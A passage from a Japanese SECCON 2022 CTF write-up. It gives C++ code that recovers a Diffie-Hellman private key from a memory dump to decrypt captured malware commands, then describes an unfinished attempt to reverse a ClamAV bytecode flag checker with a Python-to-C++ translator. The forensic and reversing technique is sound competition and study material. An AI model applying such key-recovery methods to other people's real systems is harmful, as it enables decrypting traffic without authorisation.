CryptDecrypt"sv); } for (auto b : buffer) { std::cout << (char)b; } std::cout << std::endl; } std::vector<BYTE> ReadAllFileContent(const char* filepath) { std::ifstream ifs(filepath, std::ios::binary); ifs.seekg(0, std::ios::end); std::streamsize size = ifs.tellg(); ifs.seekg(0, std::ios::beg); std::vector<BYTE> result; result.resize(size); if (!ifs.read((char*)result.data(), result.size())) { PrintMessageAndLastErrorAndDie("Failed to read file"sv); } return result; } std::vector<BYTE> FindPrivateKeyFromDump(HCRYPTPROV hProv, int part, int total_count) { constexpr BYTE expectedPublicKeyBlob[] = { 0x06, 0x02, 0x00, 0x00, 0x02, 0xAA, 0x00, 0x00, 0x00, 0x44, 0x48, 0x31, 0x00, 0x02, 0x00, 0x00, // ヘッダー, magic箇所は"DH1" + "\0" 0x46, 0xA7, 0x17, 0xB1, 0xD5, 0x45, 0x37, 0xE8, 0x62, 0xF6, 0xBA, 0x6F, 0x80, 0x9A, 0xED, 0x00, // G^X%P 0x21, 0xAF, 0xC4, 0x4B, 0x8C, 0x95, 0xC9, 0xBE, 0xC8, 0x09, 0x51, 0x8F, 0x10, 0x00, 0x1C, 0xC9, 0x64, 0x89, 0xAD, 0x89, 0x14, 0xE1, 0xD4, 0xE0, 0x08, 0xAA, 0x60, 0xBE, 0x8F, 0xE3, 0x6F, 0x9B, 0x15, 0x6E, 0x35, 0x89, 0x40, 0xBB, 0xC1, 0xAA, 0x70, 0x90, 0x98, 0xD9, 0x39, 0x57, 0xE6, 0x37, }; BYTE privateKeyBlob[] = { 0x07, 0x02, 0x00, 0x00, 0x02, 0xAA, 0x00, 0x00, 0x00, 0x44, 0x48, 0x32, 0x00, 0x02, 0x00, 0x00, // ヘッダー, magic箇所は"DH2" + "\0" 0xED, 0xA1, 0x53, 0x9B, 0xD8, 0x26, 0x05, 0x03, 0x3A, 0x88, 0x52, 0x29, 0xF8, 0x77, 0x54, 0xCF, // P 0x1D, 0xAB, 0x60, 0x3A, 0xB9, 0xB0, 0x1F, 0xE3, 0xA3, 0x69, 0x4E, 0x84, 0xB6, 0x2F, 0x02, 0x20, 0x1F, 0xE1, 0x6E, 0x25, 0xCD, 0xBB, 0x74, 0x56, 0x32, 0x05, 0x02, 0x6A, 0x8F, 0x7B, 0x9A, 0x89, 0x80, 0x52, 0x71, 0xEE, 0xF8, 0xA6, 0x4B, 0x91, 0xB1, 0x35, 0x03, 0x76, 0xC1, 0xCE, 0x21, 0xCF, 0x14, 0xCF, 0x6B, 0x2F, 0xCA, 0xE9, 0x51, 0xA6, 0xFD, 0x4D, 0xAB, 0xEA, 0x92, 0x29, 0xBB, 0xB8, // G 0x3F, 0xB4, 0x56, 0x54, 0x1B, 0x8E, 0x7C, 0xE7, 0x1E, 0x68, 0x50, 0x02, 0x4B, 0x44, 0x7B, 0xA3, 0x13, 0xC8, 0x83, 0x69, 0xC0, 0x1A, 0xDE, 0x06, 0x11, 0x6D, 0x0D, 0xAB, 0x93, 0x0F, 0xAE, 0xFB, 0x96, 0x17, 0x77, 0x86, 0x9B, 0x7D, 0xCD, 0x72, 0xCE, 0x1F, 0x80, 0x36, 0x49, 0x06, 0x79, 0x7C, 0x1B, 0x84, 0xA1, 0xB0, 0x48, 0x21, 0xE7, 0xA9, 0x4C, 0x2E, 0xF4, 0x3E, 0x3E, 0x1D, 0x40, 0x17, // X、ここを変更する。今入っているものは動作確認時の値。 0x45, 0xC8, 0x65, 0x62, 0xD5, 0x69, 0xA4, 0xA0, 0x1F, 0x34, 0xA9, 0x65, 0x60, 0x66, 0xBE, 0x57, 0x22, 0x22, 0x65, 0x88, 0xDC, 0x9E, 0x6B, 0x76, 0xB9, 0x54, 0x81, 0x62, 0x8E, 0x57, 0x2D, 0xBD, 0xE1, 0xE8, 0x1F, 0x6A, 0x0E, 0x60, 0x10, 0xB3, 0x67, 0x69, 0x3E, 0x93, 0xBE, 0xFC, 0x0E, 0x6B, }; constexpr int offsetX = 16 + 64 + 64; constexpr int sizeX = 64; HCRYPTKEY hKey; BYTE actualPublicKeyBlob[80]; auto dump = ReadAllFileContent(R"(D:\Documents\work\ctf\SECCON_2022\reversing_DoroboH\araiguma.DMP)"); std::size_t start = (dump.size() - sizeX) / total_count * part; std::size_t end = (dump.size() - sizeX) / total_count * (part + 1); for (int i = start; i < end; ++i) { if (i % 10000 == 0) { std::cout << (i - start) << " / " << (end - start) << std::endl; } memcpy(privateKeyBlob + offsetX, &dump[i], sizeX); if (!CryptImportKey(hProv, privateKeyBlob, sizeof(privateKeyBlob), 0, 0, &hKey)) { PrintMessageAndLastErrorAndDie("Failed to CryptImportKey for send key"sv); } DWORD dwExportLength = sizeof(actualPublicKeyBlob); if (!CryptExportKey(hKey, 0, PUBLICKEYBLOB, 0, actualPublicKeyBlob, &dwExportLength)) { PrintMessageAndLastErrorAndDie("Failed to CryptExportKey"sv); } if (dwExportLength != sizeof(actualPublicKeyBlob)) { PrintMessageAndLastErrorAndDie("dwExportLength was changed!"sv); } if (memcmp(expectedPublicKeyBlob, actualPublicKeyBlob, dwExportLength) == 0) { std::cout << "Find X at offset " << i << std::endl; return std::vector(privateKeyBlob, privateKeyBlob + sizeof(privateKeyBlob)); } if (!CryptDestroyKey(hKey)) { PrintMessageAndLastErrorAndDie("Failed to CryptDestroyKey"sv); } } PrintMessageAndLastErrorAndDie("Failed to find X..."sv); } constexpr int total_count = 8; int main(int argc, const char* argv[]) { if (argc < 2) { std::cerr << "Usage: " << argv[0] << " PART_OF_" << total_count << std::endl; std::exit(0); } HCRYPTPROV hProv = 0; if (!CryptAcquireContextA(&hProv, 0, MS_ENH_DSS_DH_PROV_A, PROV_DSS_DH, CRYPT_VERIFYCONTEXT)) { PrintMessageAndLastErrorAndDie("Failed to CryptAcquireContextA"sv); } // どうやら、SetKeyParamsによるKP_Xを使ったXの設定はERROR_INVALID_PARAMETERで失敗するらしい。 // そのためCryptImportKeyでXもろとも設定する必要がありそう。 auto privateKeyBlob = FindPrivateKeyFromDump(hProv, std::stoi(argv[1]), total_count); HCRYPTKEY hKeyToSend; if (!CryptImportKey(hProv, privateKeyBlob.data(), privateKeyBlob.size(), 0, 0, &hKeyToSend)) { PrintMessageAndLastErrorAndDie("Failed to CryptImportKey for send key"sv); } HCRYPTKEY hKeyReceived; if (!CryptImportKey(hProv, recieved_key, sizeof(recieved_key), hKeyToSend, 0, &hKeyReceived)) { PrintMessageAndLastErrorAndDie("Failed to CryptImportKey for received key"sv); } DWORD dwAlgId = CALG_RC4; if (!CryptSetKeyParam(hKeyReceived, KP_ALGID, (const BYTE*)&dwAlgId, 0)) { PrintMessageAndLastErrorAndDie("Failed to CryptSetKeyParam for set ALGID"sv); } DecryptAndPrint(hKeyReceived, received_command1, sizeof(received_command1)); DecryptAndPrint(hKeyReceived, received_command2, sizeof(received_command2)); }
8並列で実行すると、無事見つかってくれました:
$ Solve.exe 0 (進捗表示省略) Find X at offset 427985 /C echo "SECCON{M3m0ry_Dump+P4ck3t_C4ptur3=S0ph1st1c4t3d_F0r3ns1cs}" > C:\Users\ctf\Desktop\flag.txt /C echo "I regret to say that your computer is pwned... :(" > C:\Users\ctf\Desktop\notification.txt $
フラグを入手できました: SECCON{M3m0ry_Dump+P4ck3t_C4ptur3=S0ph1st1c4t3d_F0r3ns1cs}
(ところで、問題名やファイル名、READMEの登場人物を見るに、「帽子泥棒」を追う二匹が元ネタだったりするんでしょうか)
解けなかった問題
[reversing] Devil Hunter (168 solves, 31 points)
Clam Devil; Asari no Akuma
配布ファイルとして、シェルスクリプトと、シェルスクリプト内部で使用するファイルがありました:
$ file * check.sh: POSIX shell script, ASCII text executable flag.cbc: ASCII text, with very long lines (916) $ cat check.sh #!/bin/sh if [ -z "$1" ] then echo "[+] ${0} <flag.txt>" exit 1 else clamscan --bytecode-unsigned=yes --quiet -dflag.cbc "$1" if [ $? -eq 1 ] then echo "Correct!" else echo "Wrong..." fi fi $ cat flag.cbc ClamBCafhaio`lfcf|aa```c``a```|ah`cnbac`cecnb`c``beaacp`clamcoincidencejb:4096 Seccon.Reversing.{FLAG};Engine:56-255,Target:0;0;0:534543434f4e7b Teddaaahdabahdacahdadahdaeahdafahdagahebdeebaddbdbahebndebceaacb`bbadb`baacb`bb`bb`bdaib`bdbfaah Eaeacabbae|aebgefafdf``adbbe|aecgefefkf``aebae|amcgefdgfgifbgegcgnfafmfef`` G`ad`@`bdeBceBefBcfBcfBofBnfBnbBbeBefBfgBefBbgBcgBifBnfBgfBnbBfdBldBadBgd@`bad@Aa`bad@Aa` A`b`bLabaa`b`b`Faeac Baa``b`abTaa`aaab Bb`baaabbaeAc`BeadTbaab BTcab`b@dE A`aaLbhfb`dab`dab`daahabndabad`bndabad`b`b`aa`b`d`b`d`b`d`b`b`bad`bad`b`b`aa`b`d`b`b`aa`ah`aa`aa`b`b`aa`b`d`b`d`b`d`b`b`bad`bad`b`b`b`b`b`d`b`d`b`b`b`b`bad`b`b`bad`b`d`aa`b`b`aa`b`b`bad`b`b`bad`b`b`aa`aa`b`b`bad`b`b`bad`b`b`aa`aa`b`b`bad`b`b`bad`b`b`aa`aa`b`b`bad`b`b`bad`b`b`aa`aa`b`b`bad`b`b`bad`b`b`aa`aa`b`b`bad`b`b`bad`b`b`aa`aa`b`b`bad`b`b`bad`b`b`aa`aa`b`b`bad`b`b`bad`b`b`aa`aa`b`d`b`d`aa`Fbcgah Bbadaedbbodad@dbadagdbbodaf@db`bahabbadAgd@db`d`bb@habTbaab Baaaiiab`dbbaBdbhb`d`bbbbaabTaaaiabac Bb`dajbbabajb`dakh`ajB`bhb`dalj`akB`bhb`bamn`albadandbbodad@dbadaocbbadanamb`bb`aabbabaoAadaabaanab`bb`aAadb`dbbaa`ajAahb`d`bb@h`Taabaaagaa Bb`bbcaabbabacAadaabdakab`bbca@dahbeabbacbeaaabfaeaahbeaBmgaaabgak`bdabfab`d`bb@h`Taabgaadag Bb`bbhaabbabacAadaabiakab`bbha@db`d`bb@haab`d`bb@h`Taabiaagae Bb`dbjabbaabjab`dbkah`bjaB`bhb`dblaj`bkaB`bhb`bbman`blabadbnadbbodad@dbadboacbbadbnabmab`bb`bgbboab`bbab`baacb`bb`dbbbh`bjaBnahb`dbcbj`bbbB`bhb`bbdbn`bcbb`bbebc`Add@dbadbfbcbbadagbebb`bbgbc`Addbdbbadbhbcbbadbfbbgbb`b`fbbabbhbb`dbiba`bjaAdhaabjbiab`dbibBdbhb`d`bbbibaaTaabjbaeaf Bb`bbkbgbagaablbeab`bbkbHbj`hnicgdb`bbmbc`Add@dbadbnbcbbadagbmbb`bbobc`AddAadbadb`ccbbadbnbbobb`bbacgbb`caabbceab`bbacHcj`hnjjcdaabcck`blbbbcb`bbdcc`Add@dbadbeccbbadagbdcb`bbfcc`AddAbdbadbgccbbadbecbfcb`bbhcgbbgcaabiceab`bbhcHoigndjkcdaabjck`bccbicb`bbkcc`Add@dbadblccbbadagbkcb`bbmcc`AddAcdbadbnccbbadblcbmcb`bbocgbbncaab`deab`bbocHcoaljkhgdaabadk`bjcb`db`bbbdc`Add@dbadbcdcbbadagbbdb`bbddc`AddAddbadbedcbbadbcdbddb`bbfdgbbedaabgdeab`bbfdHcoalionedaabhdk`badbgdb`bbidc`Add@dbadbjdcbbadagbidb`bbkdc`AddAedbadbldcbbadbjdbkdb`bbmdgbbldaabndeab`bbmdHoilnikkcdaabodk`bhdbndb`bb`ec`Add@dbadbaecbbadagb`eb`bbbec`AddAfdbadbcecbbadbaebbeb`bbdegbbceaabeeeab`bbdeHdochfheedaabfek`bodbeeb`bbgec`Add@dbadbhecbbadagbgeb`bbiec`AddAgdbadbjecbbadbhebieb`bbkegbbjeaableeab`bbkeHdiemjoeedaabmek`bfebleb`bbnec`Add@dbadboecbbadagbneb`bb`fc`AddAhdbadbafcbbadboeb`fb`bbbfgbbafaabcfeab`bbbfHoimmoklfdaabdfk`bmebcfb`dbefo`bdfb`d`bbbef`Tbaag Bb`dbffbb`bffaabgfn`bffTcaaabgfE Aab`bLbaab`b`b`dab`dab`d`b`d`b`b`b`b`b`b`b`b`b`b`b`b`b`b`b`b`b`b`b`b`aa`b`d`b`d`Fbfaac Bb`d`bb@habb`d`bbG`lckjljhaaTbaaa Bb`dacbbaaacb`dadbbabadb`baen`acb`bafn`adb`bagh`afAcdb`bahi``agb`baik`ahBoodb`bajm`aiaeb`bakh`ajAhdb`bali`aeBhadb`baml`akalb`bana`afAadaaaoeab`banAddb`db`ao`anb`dbaao`amb`d`bbb`aabb`d`bbbaaaaTaaaoabaa BTcab`bamE Snfofdg`bcgof`befafcgig`bjc`ej` $
実質的にclamscan
コマンドの戻り値が重要な問題のようです。CBCファイルとは、clamav-bytecode-compiler/clambc-user.pdf at main · Cisco-Talos/clamav-bytecode-compiler によると/usr/local/clamav/bin/clambc-compiler foo.c -o foo.cbc -O2
のようにC言語ソースをコンパイルして作られる、ClamAVのバイトコードとのことです。
逆コンパイルする方法を探すと、前述のPDFで言及されているClamBCコマンドでできそうなので試しました:
$ clambc --version Clam AntiVirus Bytecode Testing Tool 0.103.6 LLVM is not compiled or not linked $ clambc --info flag.cbc Bytecode format functionality level: 6 Bytecode metadata: compiler version: 0.105.0 compiled on: (1668026257) Thu Nov 10 05:37:37 2022 compiled by: target exclude: 0 bytecode type: logical only bytecode functionality level: 0 - 0 bytecode logical signature: Seccon.Reversing.{FLAG};Engine:56-255,Target:0;0;0:534543434f4e7b virusname prefix: (null) virusnames: 0 bytecode triggered on: files matching logical signature number of functions: 3 number of types: 21 number of global constants: 4 number of debug nodes: 0 bytecode APIs used: read, seek, setvirusname $ clambc --printsrc flag.cbc not so easy :P $ clambc --printbcir flag.cbc > clambc_printbcir.txt $
Cソースコードへの逆コンパイルは失敗しましたが、バイトコード中間表現への逆アセンブルは成功しました。compiler versionと同一のバージョン105のclambcでも試しましたが同一の結果でした。
逆アセンブル結果をしばらく目で見ていましたが、あまりにも冗長で理解が辛いものでした。そのためC++言語へのトランスレーターを書いてコンパイルして、IDAやanger, z3に頼ろうと思いました。以下のソースを参考にしながらひたすら各オペコードの分岐を書きました:
とはいえ、OP_BC_GEP1
とOP_BC_GEPZ
の処理内容が理解できないままだったり、OP_BC_SEXT
のオペランドの1や20はビット数を表すのか何なのか自信がないままだったりします。結局トランスレーターを書き上げたつもりでしたが、変換後C++ソースコードをO3コンパイルすると、フラグ表示箇所がWrong固定になったり、関数内容がグローバル変数操作のみになったりしたので、トランスレーターにバグがあるのでしょう……。何が悪いのか分からないまま時間切れとなりました。
書いたトランスレーターと、変換したC++ソースコードを供養として残しておきます:
#!/usr/bin/env python3 import sys import re name_global_file_var = "g_fileInput" def name_label(id): return f"label{id}" def name_variable(id): return f"var{id}" def name_constant(id): return f"const{id}" def name_function(id): return f"Func{id}" def write(line): print(line) def write_file_header(): write("""// this file is genereted by script #include <cstdio> #include <cstring> #include <stdexcept> bool g_succeeded = false; signed char g_input[256]; int g_inputLength = 0; int g_currentIndex = 0; int my_setvirusname(...) { g_succeeded = true; return 0; } int my_read(signed char*p, int length) { // 今回のlengthは1のみ if (g_currentIndex < g_inputLength) { *p = g_input[g_currentIndex]; g_currentIndex += 1; return 1; } else { return 0; } } int my_seek(int position, int type) { // 今回はtypeは0(=big)のみ g_currentIndex = position; return 0; // 特段使わなさそう } int Func0(); bool Func1(); int Func2(int); """) def write_file_footer(): write(""" int main() { g_inputLength = scanf("%s", g_input); Func0(); puts(g_succeeded ? "Congratulations!" : "Wrong..."); } """) def write_function_header(function_id): # 今回はこれでいい function_id = int(function_id) return_type = "bool" if function_id == 1 else "int" argument_list = f"(int {name_variable(0)})" if function_id == 2 else "()" write(f"{return_type} {name_function(function_id)}{argument_list} {{") def write_function_footer(): write(""" throw std::logic_error("Must not reach here"); } """) def write_local_variable_line(line): m = re.match(r"\s*\d+\s*\[\s*(\d+)\]:\s*(.*)", line) assert m variable_id = m.group(1) variable_type = m.group(2) array_part = "" if variable_type == "i32 argument": return # 関数ヘッダーで無理やり扱っている elif variable_type == "i1": c_type = "bool" elif variable_type == "i8": c_type = "signed char" elif variable_type == "i32": c_type = "int" elif variable_type == "i64": c_type = "long long" elif variable_type == "alloc i8": c_type = "signed char" elif variable_type == "alloc i64": c_type = "long long" elif variable_type == "i8*": c_type = "signed char*" elif variable_type == "alloc [36 x i8]": c_type = "signed char"; array_part = "[36]" else: raise Exception(f"Unknown variable type: {variable_type}") write(f"{c_type} {name_variable(variable_id)}{array_part} = {{}};") def write_constant_variable_line(line): m = re.match(r"\s*\d+\s*\[\s*(\d+)\]:\s*(\d+)\(0x[a-f0-9]+\)", line) assert m constant_id = m.group(1) value = m.group(2) hexed_value = f"0x{int(value):08X}" write(f"constexpr auto {name_constant(constant_id)} = {hexed_value};") # パース結果の現在のBBを返す。 def write_function_body_line(line, variable_count, lastBbIndex): def parse_symbol(var_or_const_id): assert re.match("\d+", var_or_const_id) return name_variable(var_or_const_id) if (int(var_or_const_id) < variable_count) else name_constant(var_or_const_id) def parse_direct_or_indirect_expression(ex): if re.match("\d+", ex): return parse_symbol(ex) m = re.match("p\.(\d+)", ex) assert m indirect_variable_id = m.group(1) return f"{parse_symbol(indirect_variable_id)}" m1 = re.match(r"\s*(\d+)\s+\d+\s*([A-Z0-9_]+)\s+\[[^]]+\]\s+(.+)", line) assert m1 BB = m1.group(1) opcode = m1.group(2) inst = m1.group(3) if BB != lastBbIndex: write(f"\n{name_label(BB)}:") if opcode == "OP_BC_ADD": def core(): m = re.match(r"(\d+) = (\d+) \+ (\d+)", inst) assert m result_var = m.group(1) lhv_var = m.group(2) rhv_var = m.group(3) write(f"{parse_symbol(result_var)} = ({parse_symbol(lhv_var)} + {parse_symbol(rhv_var)});") core() elif opcode == "OP_BC_SUB": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() elif opcode == "OP_BC_MUL": def core(): m = re.match(r"(\d+) = (\d+) \* (\d+)", inst) assert m result_var = m.group(1) lhv_var = m.group(2) rhv_var = m.group(3) write(f"{parse_symbol(result_var)} = ({parse_symbol(lhv_var)} * {parse_symbol(rhv_var)});") core() elif opcode == "OP_BC_UDIV": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() elif opcode == "OP_BC_SDIV": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() elif opcode == "OP_BC_UREM": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() elif opcode == "OP_BC_SREM": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() elif opcode == "OP_BC_SHL": def core(): m = re.match(r"(\d+) = (\d+) << (\d+)", inst) assert m result_var = m.group(1) lhv_var = m.group(2) rhv_var = m.group(3) write(f"{parse_symbol(result_var)} = ({parse_symbol(lhv_var)} << {parse_symbol(rhv_var)});") core() elif opcode == "OP_BC_LSHR": def core(): m = re.match(r"(\d+) = (\d+) >> (\d+)", inst) assert m result_var = m.group(1) lhv_var = m.group(2) rhv_var = m.group(3) write(f"{parse_symbol(result_var)} = (long long)((unsigned long long)(long long){parse_symbol(lhv_var)} >> {parse_symbol(rhv_var)});") core() elif opcode == "OP_BC_ASHR": m = re.match(r"(\d+) = (\d+) >> (\d+)", inst) assert m result_var = m.group(1) lhv_var = m.group(2) rhv_var = m.group(3) write(f"{parse_symbol(result_var)} = ((long long){parse_symbol(lhv_var)} >> {parse_symbol(rhv_var)});") elif opcode == "OP_BC_AND": def core(): m = re.match(r"(\d+) = (\d+) & (\d+)", inst) assert m result_var = m.group(1) lhv_var = m.group(2) rhv_var = m.group(3) write(f"{parse_symbol(result_var)} = ({parse_symbol(lhv_var)} & {parse_symbol(rhv_var)});") core() elif opcode == "OP_BC_OR": def core(): m = re.match(r"(\d+) = (\d+) \| (\d+)", inst) assert m result_var = m.group(1) lhv_var = m.group(2) rhv_var = m.group(3) write(f"{parse_symbol(result_var)} = ({parse_symbol(lhv_var)} | {parse_symbol(rhv_var)});") core() elif opcode == "OP_BC_XOR": def core(): m = re.match(r"(\d+) = (\d+) \^ (\d+)", inst) assert m result_var = m.group(1) lhv_var = m.group(2) rhv_var = m.group(3) write(f"{parse_symbol(result_var)} = ({parse_symbol(lhv_var)} ^ {parse_symbol(rhv_var)});") core() elif opcode == "OP_BC_TRUNC": def core(): m = re.match(r"(\d+) = (\d+) trunc ffffffffffffffff", inst) assert m result_var = m.group(1) lhv_var = m.group(2) write(f"{parse_symbol(result_var)} = ({parse_symbol(lhv_var)} & 0xffffffffffffffff);") core() elif opcode == "OP_BC_SEXT": def core(): m = re.match(r"(\d+) = (\d+) sext (\d+)", inst) assert m result_var = m.group(1) var2 = m.group(2) var3 = m.group(3) # とりあえず大きめにキャストしておけばいいのでは→いや、そのbitに切り捨てが必要かもしれない write(f"{parse_symbol(result_var)} = (long long){parse_symbol(var2)} & 0x{(1<<int(var3))-1:08X};") core() elif opcode == "OP_BC_ZEXT": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() elif opcode == "OP_BC_BRANCH": def core(): m = re.match(r"br (\d+) \? bb.(\d+) : bb.(\d+)", inst) assert m condition_var = m.group(1) true_branch = m.group(2) false_branch = m.group(3) write(f"if ({parse_symbol(condition_var)} & 1) {{goto {name_label(true_branch)};}} else {{goto {name_label(false_branch)};}}") core() elif opcode == "OP_BC_JMP": def core(): m = re.match(r"jmp bb\.(\d)", inst) assert m branch = m.group(1) write(f"goto {name_label(branch)};") core() elif opcode == "OP_BC_RET": def core(): m = re.match(r"ret (\d+)", inst) assert m var = m.group(1) write(f"return {parse_symbol(var)};") core() elif opcode == "OP_BC_RET_VOID": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() elif opcode == "OP_BC_ICMP_EQ": def core(): m = re.match(r"(\d+) = \((\d+) == (\d+)\)", inst) assert m result_var = m.group(1) lhv_var = m.group(2) rhv_var = m.group(3) write(f"{parse_symbol(result_var)} = ({parse_symbol(lhv_var)} == {parse_symbol(rhv_var)});") core() elif opcode == "OP_BC_ICMP_NE": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() elif opcode == "OP_BC_ICMP_UGT": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() elif opcode == "OP_BC_ICMP_UGE": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() elif opcode == "OP_BC_ICMP_ULT": def core(): m = re.match(r"(\d+) = \((\d+) < (\d+)\)", inst) assert m result_var = m.group(1) lhv_var = m.group(2) rhv_var = m.group(3) write(f"{parse_symbol(result_var)} = ((unsigned long long)(long long){parse_symbol(lhv_var)} < (unsigned long long)(long long){parse_symbol(rhv_var)});") core() elif opcode == "OP_BC_ICMP_ULE": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() elif opcode == "OP_BC_ICMP_SGT": def core(): m = re.match(r"(\d+) = \((\d+) > (\d+)\)", inst) assert m result_var = m.group(1) lhv_var = m.group(2) rhv_var = m.group(3) write(f"{parse_symbol(result_var)} = ((long long){parse_symbol(lhv_var)} > (long long){parse_symbol(rhv_var)});") core() elif opcode == "OP_BC_ICMP_SGE": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() elif opcode == "OP_BC_ICMP_SLE": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() elif opcode == "OP_BC_ICMP_SLT": def core(): m = re.match(r"(\d+) = \((\d+) < (\d+)\)", inst) assert m result_var = m.group(1) lhv_var = m.group(2) rhv_var = m.group(3) write(f"{parse_symbol(result_var)} = ({parse_symbol(lhv_var)} < {parse_symbol(rhv_var)});") core() elif opcode == "OP_BC_SELECT": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() elif opcode == "OP_BC_CALL_DIRECT": def core(): m = re.match(r"(\d+) = call F.(\d) \((\d*)\)", inst) assert m result_var = m.group(1) function_id = m.group(2) argument_var = m.group(3) write(f"{parse_symbol(result_var)} = {name_function(function_id)}({''if len(argument_var)==0 else parse_symbol(argument_var)});") core() elif opcode == "OP_BC_CALL_API": def core(): # 今回のはすべて2引数 m = re.match(r"(\d+) = ([a-z]+)\[\d\] \(([a-z0-9.-]+), ([a-z0-9.-]+)\)", inst) assert m result_var = m.group(1) api_name = m.group(2) arg1_var = m.group(3) arg2_var = m.group(4) # setvirusnameの第1引数は文字列らしく、負の数が突っ込まれている。意味不明なので無視 # Func1のvar3がalloc i8なのにreadの第1引数に渡されている。そこ以外は妥当なのでここで特別扱い corrected_var1 = 0 if api_name == "setvirusname" else ("&" if arg1_var == "p.3" else "") + parse_direct_or_indirect_expression(arg1_var) write(f"{parse_symbol(result_var)} = my_{api_name}({corrected_var1}, {parse_direct_or_indirect_expression(arg2_var)});") core() elif opcode == "OP_BC_COPY": def core(): m = re.match(r"cp (\d+) -> (\d+)", inst) assert m src = m.group(1) dst = m.group(2) write(f"{parse_symbol(dst)} = {parse_symbol(src)};") core() elif opcode == "OP_BC_GEP1": # 1段階の間接参照らしい def core(): m = re.match(r"(\d+) = gep1 ([a-z0-9.]+) \+ \((\d+) \* (\d+)\)", inst) assert m result_var = m.group(1) var1 = m.group(2) var2 = m.group(3) var3 = m.group(4) write(f"{parse_symbol(result_var)} = ({parse_direct_or_indirect_expression(var1)} + ({parse_symbol(var2)} * {parse_symbol(var3)}));") core() elif opcode == "OP_BC_GEPZ": # 2段階の間接参照らしい。なぜ2でなくZなのか。 def core(): m = re.match(r"(\d+) = gepz ([a-z0-9.]+) \+ \((\d+)\)", inst) assert m result_var = m.group(1) lhv_var = m.group(2) rhv_var = m.group(3) write(f"{parse_symbol(result_var)} = ({parse_direct_or_indirect_expression(lhv_var)} + {parse_symbol(rhv_var)});") core() elif opcode == "OP_BC_GEPN": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() elif opcode == "OP_BC_STORE": def core(): m = re.match(r"store (\d+) -> ([p.\d]+)", inst) assert m src = m.group(1) dst = m.group(2) write(f"*{parse_direct_or_indirect_expression(dst)} = {parse_symbol(src)};") core() elif opcode == "OP_BC_LOAD": def core(): m = re.match(r"load\s+(\d+) <- ([p.\d]+)", inst) # loadの後だけスペースが2つある,storeと文字数を合わせる都合かもしれない assert m dst = m.group(1) src = m.group(2) write(f"{parse_symbol(dst)} = *{parse_direct_or_indirect_expression(src)};") core() elif opcode == "OP_BC_MEMSET": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() elif opcode == "OP_BC_MEMCPY": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() elif opcode == "OP_BC_MEMMOVE": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() elif opcode == "OP_BC_MEMCMP": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() elif opcode == "OP_BC_ISBIGENDIAN": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() elif opcode == "OP_BC_ABORT": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() elif opcode == "OP_BC_BSWAP16": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() elif opcode == "OP_BC_BSWAP32": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() elif opcode == "OP_BC_BSWAP64": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() elif opcode == "OP_BC_PTRDIFF32": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() elif opcode == "OP_BC_PTRTOINT64": raise Exception(f"Not Implemnted: {opcode}") def core(): m = re.match(r"", inst) assert m core() else: raise Exception(f"Unknown OPCODE: {opcode}") return BB def test(line): write_function_body_line(None, line, 0, -1) with open("clambc_printbcir.txt.original") as f: lines = list(f) SEPARETOR = "------------------------------------------------------------------------" write_file_header() it = iter(lines) while True: try: line = next(it).rstrip() m = re.search(r"^####################### Function id (\d)", line) if m is not None: function_id = m.group(1) write_function_header(function_id) while True: line = next(it).rstrip() if line == "VID ID VALUE":break assert next(it).rstrip() == SEPARETOR variable_count = 0 while True: line = next(it).rstrip() if line == SEPARETOR: break write_local_variable_line(line) variable_count += 1 while True: line = next(it).rstrip() if line == "CID ID VALUE":break assert next(it).rstrip() == SEPARETOR while True: line = next(it).rstrip() if line == SEPARETOR: break write_constant_variable_line(line) while True: line = next(it).rstrip() if line == "BB IDX OPCODE [ID /IID/MOD] INST":break assert next(it).rstrip() == SEPARETOR lastBbIndex = -1 while True: line = next(it).rstrip() if len(line) == 0: continue if line == SEPARETOR: break lastBbIndex = write_function_body_line(line, variable_count, lastBbIndex) write_function_footer() except(StopIteration): break write_file_footer()
// this file is genereted by script #include <cstdio> #include <cstring> #include <stdexcept> bool g_succeeded = false; signed char g_input[256]; int g_inputLength = 0; int g_currentIndex = 0; int my_setvirusname(...) { g_succeeded = true; return 0; } int my_read(signed char*p, int length) { // 今回のlengthは1のみ if (g_currentIndex < g_inputLength) { *p = g_input[g_currentIndex]; g_currentIndex += 1; return 1; } else { return 0; } } int my_seek(int position, int type) { // 今回はtypeは0(=big)のみ g_currentIndex = position; return 0; // 特段使わなさそう } int Func0(); bool Func1(); int Func2(int); int Func0() { bool var0 = {}; int var1 = {}; constexpr auto const2 = 0x00000015; constexpr auto const3 = 0x00000000; label0: var0 = Func1(); if (var0 & 1) {goto label1;} else {goto label2;} label1: var1 = my_setvirusname(0, const2); goto label2; label2: return const3; 